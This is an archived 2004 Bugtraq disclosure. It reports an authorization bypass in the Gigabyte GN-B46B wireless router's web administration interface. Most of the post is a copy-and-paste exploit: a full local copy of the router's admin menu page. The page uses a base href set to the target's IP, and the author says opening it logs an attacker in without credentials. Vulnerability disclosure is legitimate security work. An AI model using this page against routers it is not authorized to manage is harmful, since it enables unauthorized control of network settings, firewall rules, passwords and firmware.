| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <000501c3fae4$a85c61e0$0b3016ac@fucku>
Date: Tue, 24 Feb 2004 16:44:03 +0200
From: "Rafel Ivgi, The-Insider" <theinsider@....net.il>
To: "bugtraq" <bugtraq@...urityfocus.com>
Cc: "SecurITeam News" <news@...uriteam.com>,
"securitytracker" <bugs@...uritytracker.com>
Subject: Gigabyte Broadband Router - Multiple Vulnerabilities
#######################################################################
Device: Gigabyte Broadband Router - Multiple
Vulnerabilities
Vendors: http://www.giga-byte.com
Versions: Gn-B46B
Firmware Version: 1.003.00
Platforms: Windows
Bug: Authorization Bypass
Risk: High
Exploitation: remote with browser
Date: 18 Feb 2004
Author: Rafel Ivgi, The-Insider
e-mail: the_insider@...l.com
web: http://theinsider.deep-ice.com
#######################################################################
1) Introduction
2) Bugs
3) The Code
#######################################################################
===============
1) Introduction
===============
Gigabyte Gn-B46B is a 2.4Ghz Wireless Broadband Router.
Upon connection to the router a basic authorization is required.
Product details:
http://www.giga-byte.com/Communication/Products/Products_Wireless_GN-B46B.ht
m
#######################################################################
======
2) Bug
======
This bug is an amazing Authorization Bypass, almost unexplained. The server
protects all its
files with "Basic Authorization". The Authorization cannot be bypassed in
any other way
except of requesting the files on the router from the html menu of the
router. The problem is that
this protection should work only when the html menu of the router is on the
router itself.
However if an attacker will use the router's menu from a local html, it will
bypass the authorization
and the attacker will be logged in. Truely amazing, exceptional.
#######################################################################
===========
3) The Code
===========
Just copy this to a ".html" file and replace <host> with the target's IP.
------------------------------------ Cut
Here --------------------------------------
<html>htdocs
<head>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="expires" CONTENT="0">
<STYLE> #foldheader {CURSOR: hand}</STYLE>
<base href="http://<host>">
<script language="javascript">
<!--
var lastIndex=-1;
function change(){
if (event.srcElement.id=="foldheader") {
var srcIndex = event.srcElement.sourceIndex
var nested = document.all[srcIndex+2]
if (nested.style.display=="none") {
nested.style.display=''
if (lastIndex>=0)
{
nested = document.all[lastIndex]
nested.style.display="none"
}
lastIndex=srcIndex+2;
}
else {
lastIndex=-1;
nested.style.display="none"
}
}
if (event.srcElement.id=="foldimage") {
var srcIndex = event.srcElement.sourceIndex
var nested = document.all[srcIndex+1]
if (nested.style.display=="none") {
nested.style.display=''
if (lastIndex>=0)
{
nested = document.all[lastIndex]
nested.style.display="none"
}
lastIndex=srcIndex+1;
}
else {
lastIndex=-1;
nested.style.display="none"
}
}
}
window.self.document.onclick=change
if(document.images){
image1off=new Image
image1off.src="../picture/button_setup.gif"
image1on=new Image
image1on.src="../picture/button_setup_over.gif"
image2off=new Image
image2off.src="../picture/button_status.gif"
image2on=new Image
image2on.src="../picture/button_status_over.gif"
image3off=new Image
image3off.src="../picture/button_logout.gif"
image3on=new Image
image3on.src="../picture/button_logout_over.gif"
}
function imgOn(imgName){
if(document.images){
document[imgName].src=eval(imgName+"on.src")
}
}
function imgOff(imgName){
if(document.images){
document[imgName].src=eval(imgName+"off.src")
}
}
function MoveOn(which_log, item)
{
dd = new Date();
time = dd.getTime();
offset = dd.getTimezoneOffset();
item.href = '../cgi-bin/SetData.cgi?LogMenu' + which_log + '\+' +
Math.round(time/1000) + '\+' + offset;
}
//-->
</script>
<title>English</title>
<style type="text/css">
body{font-family: Arial,verdana,Helvetica; font-size: 10pt; line-height:
18px;background:#ffffff;}
.blueBg {background:#79A7EF;}
.blackBg {background:#000000;}
.grayBg {background:#EEEEEE;}
.lightBlueBg
{background:#9FBEEE;font-size:10pt;color:#000000;font-weight:bold;}
.lightBlackBg
{background:#000000;font-size:10pt;color:#FFFFFF;font-weight:bold;}
.whiteBg {background:#ffffff;}
.redText {color:#FF9000;}
.tagText {color:#FF9000;font-weight:bold;background:#ffffff;}
.blueText {color: rgb(0,0,0);}
.orangeText {color:#FF9000;font-weight:bold;}
.heading{color:#000000;font-size:10pt;font-weight:bold;background:#ECF2F4;}
.heading1{color:#3333CC;font-size:10pt;background:#Eeeeee;}
.heading2{color:#3333CC;font-size:10pt;font-weight:bold;background:#ECF2F4;}
.headingLink{font-size:10pt;font-weight:bold;color:#ffffff;}
.title{color:#ffffff;font-size:20pt;font-weight:bold;background:#9FBEEE;}
.titleSub{color:#3333CC;font-size:15pt;font-weight:bold;background:#ffffff;}
.titleSub1{color:#000000;font-size:13pt;font-weight:bold;background:#ffffff;
}
.buttonText{background-color:
rgb(255,144,0);color:#ffffff;font-weight:bold;}
A:link {color:#FFFFFF; font-style: normal; cursor:
hand;text-decoration:none;}
A:visited {color:rgb(255,255,255); font-style:
normal;text-decoration:none;}
A:active {color:#9FBEEE; font-style: normal;text-decoration:none;}
A:hover {color:#9FBEEE; font-style:bold;text-decoration:underline;}
</style>
</head>
<BODY style="background-color: #000000">
<center>
<table cellpadding=0 cellspacing=0 border=0 width=180 class="blackBg">
<tr>
<td height="25" colspan="3"><img src="../picture/spacer.gif" width="1"
height="1"></td>
</tr>
<tr>
<td colspan="3"><a href="/htdocs/BasicLANSetup.htm" target=main
onMouseover="imgOn('image1')"; onMouseout="imgOff('image1')">
<img src="../picture/button_setup.gif" border="0" name="image1"
width="184" height="23"></a></td>
</tr>
<!--
<tr>
<td colspan="3"><a href="/htdocs/status.htm" target=main
onMouseover="imgOn('image2')"; onMouseout="imgOff('image2')">
<img src="../picture/button_status.gif" border="0" name="image2"
width="184" height="31"></a></td>
</tr>
-->
<tr>
<td colspan="3"><a href="../cgi-bin/SetData.cgi?ShowStatus"
href="status.htm" target=main onMouseover="imgOn('image2')";
onMouseout="imgOff('image2')">
<img src="../picture/button_status.gif" border="0" name="image2"
width="184" height="31"></a></td>
</tr>
<tr>
<td colspan="3"><a href="/htdocs/Logout.htm" target=_top
onMouseover="imgOn('image3')"; onMouseout="imgOff('image3')">
<img src="../picture/button_logout.gif" border="0" name="image3"
width="184" height="29"></a></td>
</tr>
<tr>
<td colspan="3" height="8"><img src="../picture/spacer.gif" width="1"
height="1"></td>
</tr>
<tr>
<td colspan="3">
<img src="../picture/button_advancedSetup.gif" border="0" width="174"
height="34"></td>
</tr>
<tr>
<td background="../picture/border_left.gif">
<img src="../picture/border_left.gif" width="15" height="19"></td>
<td>
<table cellpadding="0" cellspacing="0" border="0" width="160"
class="lightBlackBg">
<tr>
<td height="5"><img src="../picture/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td valign="top" id="foldheader">
<img src="../picture/icon_list.gif" align="absmiddle" id="foldimage"
border="0" width="7" height="7"> Network Configuration
<table id="network" border="0">
<tr class="headingLink"><td> <a
href="NetworkSetup3.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0" align="absmiddle" width="7"
height="7"> LAN Configuration</a></td></tr>
<tr class="headingLink"><td> <a
href="NetworkSetup2.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0" align="absmiddle" width="7"
height="7"> WAN Configuration</a></td></tr>
<tr class="headingLink"><td> <a
href="NetworkSetup1.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0" align="absmiddle" width="7"
height="7"> WAN Setting</a></td></tr>
</table>
</td>
</tr>
<tr>
<td valign="top" id="foldheader">
<img src="../picture/icon_list.gif" align="absmiddle" id="foldimage"
border="0" width="7" height="7"> Wireless Configuration
<table id="wireless" border="0">
<tr class="headingLink"><td> <a
href="WirelessSetup2B.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0" align="absmiddle" width="7"
height="7"> 802.11b</a></td></tr>
<tr class="headingLink"><td> <a
href="MACcontrol11b.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0" align="absmiddle" width="7"
height="7"> MAC Access Control</a></td></tr>
</table>
</td>
</tr>
<tr>
<td valign="top"><a href="/htdocs/StaticRouting.htm" target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> Static Routing Table</a></td>
</tr>
<tr>
<td valign="top" id="foldheader">
<img src="../picture/icon_list.gif" align="absmiddle" id="foldimage"
border="0" width="7" height="7"> Virtual Server
<table id="virtual" border="0">
<tr class="headingLink"><td> <a
href="VirtualServer1.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0" align="absmiddle" width="7"
height="7"> DMZ</a></td></tr>
<tr class="headingLink"><td> <a
href="VirtualServer2.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0" align="absmiddle" width="7"
height="7"> PPPoE/DHCP/Static</a></td></tr>
<tr class="headingLink"><td> <a
href="VirtualServer3.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0" align="absmiddle" width="7"
height="7"> PPPoE Unnumber</a></td></tr>
</table>
</td>
</tr>
<tr>
<td valign="top" id="foldheader">
<img src="../picture/icon_list.gif" align="absmiddle" id="foldimage"
border="0" width="7" height="7"> Firewall Rule
<table id="firewall" border="0">
<tr class="headingLink"><td> <a
href="Firewall1.htm" target=main ><img src="../picture/icon_list_sub.gif"
border="0" align="absmiddle" width="7"
height="7"> Security</a></td></tr>
<tr class="headingLink"><td> <a
href="Firewall3.htm" target=main ><img src="../picture/icon_list_sub.gif"
border="0" align="absmiddle" width="7" height="7"> VPN Pass
Through</a></td></tr>
<tr class="headingLink"><td> <a
href="Firewall2.htm" target=main ><img src="../picture/icon_list_sub.gif"
border="0" align="absmiddle" width="7" height="7"> Static
Rule</a></td></tr>
</table>
</td>
</tr>
<tr>
<td valign="top"><a href="/htdocs/DNSReplay.htm" target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> DNS Replay</a></td>
</tr>
<tr>
<td height="7"><img src="../picture/spacer.gif" width="1" height="1"></td>
</tr>
</table>
</td>
<td background="../picture/border_right.gif">
<img src="../picture/border_right.gif" width="19" height="19"></td>
</tr>
<tr>
<td colspan="3">
<img src="../picture/button_management.gif" border="0" width="174"
height="31"></td>
</tr>
<tr>
<td background="../picture/border_left.gif">
<img src="../picture/border_left.gif" width="15" height="19"></td>
<td>
<table cellpadding="0" cellspacing="0" border="0" width="160"
class="lightBlackBg">
<tr>
<td height="5"><img src="../picture/spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td valign="top"><a href="../cgi-bin/SetData.cgi?ShowPPPMonitor"
target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> PPP Monitor</a></td>
</tr>
<tr>
<td valign="top"><a href="/htdocs/Reboot.htm" target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> Reboot</a></td>
</tr>
<tr>
<td valign="top"><a href="/htdocs/Initialization.htm" target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> Initialization</a></td>
</tr>
<tr>
<td valign="top"><a href="/htdocs/ChangePassword.htm" target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> Change Password</a></td>
</tr>
<tr>
<td valign="top"><a href="/htdocs/ChangeMAC.htm" target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> Change WAN MAC</a></td>
</tr>
<tr>
<td valign="top"><a href="/htdocs/UpgradeFirmware.htm" target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> Upgrade Firmware</a></td>
</tr>
<tr>
<td valign="top"><a href="/htdocs/BackUpRestore.htm" target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> BackUp/Restore</a></td>
</tr>
<tr>
<td valign="top" id="foldheader">
<img src="../picture/icon_list.gif" align="absmiddle" id="foldimage"
border="0" width="7" height="7"> Log Information
<table id="log" border="0">
<tr class="headingLink"><td> <a href="#"
target=main onclick="MoveOn('firelog', this)"><img
src="../picture/icon_list_sub.gif" border="0" align="absmiddle" width="7"
height="7"> Firewall Log</a></td></tr>
<tr class="headingLink"><td> <a href="#"
target=main onclick="MoveOn('connlog', this)"><img
src="../picture/icon_list_sub.gif" border="0" align="absmiddle" width="7"
height="7"> WAN Connection</a></td></tr>
<tr class="headingLink"><td> <a href="#"
target=main onclick="MoveOn('upnplog', this)"><img
src="../picture/icon_list_sub.gif" border="0" align="absmiddle" width="7"
height="7"> UPnP Log</a></td></tr>
</table>
</td>
</tr>
<!--
<tr>
<td valign="top"><a href="../cgi-bin/SetData.cgi?LogMenufirelog+0+0"
target=main onclick="MoveOn('firelog')">
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> Log Information</a></td>
</tr>
-->
<tr>
<td valign="top"><a href="/htdocs/Save.htm" target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> Save Maintenance</a></td>
</tr>
<tr>
<td valign="top"><a href="../others/Help.English.htm" target="_blank">
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> Help</a></td>
</tr>
<tr>
<td valign="top"><a href="/htdocs/Ping.htm" target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> Ping</a></td>
</tr>
<tr>
<td valign="top"><a href="/htdocs/About.htm" target=main>
<img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7"> About</a></td>
</tr>
<tr>
<td height="5"><img src="../picture/spacer.gif" width="1" height="1"></td>
</tr>
</table>
</td>
<td background="../picture/border_right.gif">
<img src="../picture/border_right.gif" width="19" height="19"></td>
</tr>
<tr>
<!--<td colspan="3"><img src="../picture/banner_bottom.gif" width="184"
height="38"></td>-->
</tr>
<tr>
<td colspan="3" height="20"><img src="../picture/spacer.gif" width="1"
height="1"></td>
</tr>
</table>
</center>
</body>
</html>
<script language="javascript">
if(navigator.appName == "Microsoft Internet Explorer" &&
parseInt(navigator.appVersion) >= 4)
{
network.style.display = "none" ;
wireless.style.display = "none" ;
virtual.style.display = "none" ;
firewall.style.display = "none" ;
log.style.display = "none" ;
}
</script>
------------------------------------ Cut
Here --------------------------------------
#######################################################################
---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com
"Things that are unlikeable, are NOT impossible."
Powered by blists - more mailing lists